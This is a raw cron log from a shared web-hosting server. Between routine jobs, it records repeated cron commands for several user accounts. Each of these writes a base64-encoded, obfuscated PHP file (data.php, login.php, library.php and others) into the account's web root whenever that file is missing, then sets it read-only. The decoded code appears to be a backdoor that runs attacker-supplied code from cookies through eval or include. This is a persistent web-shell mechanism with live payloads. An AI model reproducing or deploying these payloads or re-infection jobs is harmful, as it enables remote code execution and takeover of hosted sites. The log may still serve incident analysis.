Mar  2 12:12:01 medusa CROND[25357]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:13:01 medusa CROND[11980]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:13:01 medusa CROND[11981]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:13:01 medusa CROND[11984]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:13:01 medusa CROND[11986]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:13:01 medusa CROND[11987]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:13:01 medusa CROND[11985]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  2 12:13:01 medusa CROND[11988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:13:01 medusa CROND[11989]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:13:01 medusa CROND[12001]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:13:01 medusa CROND[12004]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 12:13:01 medusa CROND[12005]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:13:01 medusa CROND[12006]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:13:01 medusa CROND[12008]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 12:13:01 medusa CROND[12010]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:14:01 medusa CROND[30891]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:14:01 medusa CROND[30892]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:14:01 medusa CROND[30893]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:14:01 medusa CROND[30894]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:14:01 medusa CROND[30895]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 12:14:01 medusa CROND[30896]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:14:01 medusa CROND[30901]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:14:01 medusa CROND[30902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:14:01 medusa CROND[30904]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:14:01 medusa CROND[30905]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:14:01 medusa CROND[30903]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:14:01 medusa CROND[30906]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 12:14:01 medusa CROND[30908]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:15:02 medusa CROND[14972]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 12:15:02 medusa CROND[15043]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 12:15:02 medusa CROND[15096]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 12:15:02 medusa CROND[15097]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 12:15:02 medusa CROND[15100]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 12:15:02 medusa CROND[15101]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:15:02 medusa CROND[15102]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 12:15:02 medusa CROND[15111]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 12:15:02 medusa CROND[15112]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 12:15:02 medusa CROND[15120]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
